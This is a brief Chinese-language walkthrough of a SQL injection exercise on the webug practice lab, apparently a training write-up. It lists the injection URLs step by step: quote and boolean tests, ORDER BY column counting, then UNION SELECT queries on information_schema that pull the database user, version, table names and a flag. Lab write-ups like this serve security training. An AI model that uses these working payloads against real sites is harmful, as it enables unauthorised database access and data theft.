url:http://192.168.1.4/control/sqlinject/manifest_error.php?id=1
http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ 报错
http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ and 1=1 %23 不报错
http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ and 1=2 %23 报错
使用联合查询
http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ order by 2 %23 长度为2,3时报错
http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ union select 1,2 %23 显示出2
下面可以查出用户权限,数据库版本,当前数据库等
http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ union select 1,user() %23
用户权限: root@localhost,数据库版本:5.5.53,当前数据库:webug
查看webug中数据表
http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘webug’ %23
http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘flag’ %23
查询flag下的值
http://192.168.1.4/control/sqlinject/manifest_error.php?id=1’ union select 1,flag from webug.flag %23
flag: dfafdasfafdsadfa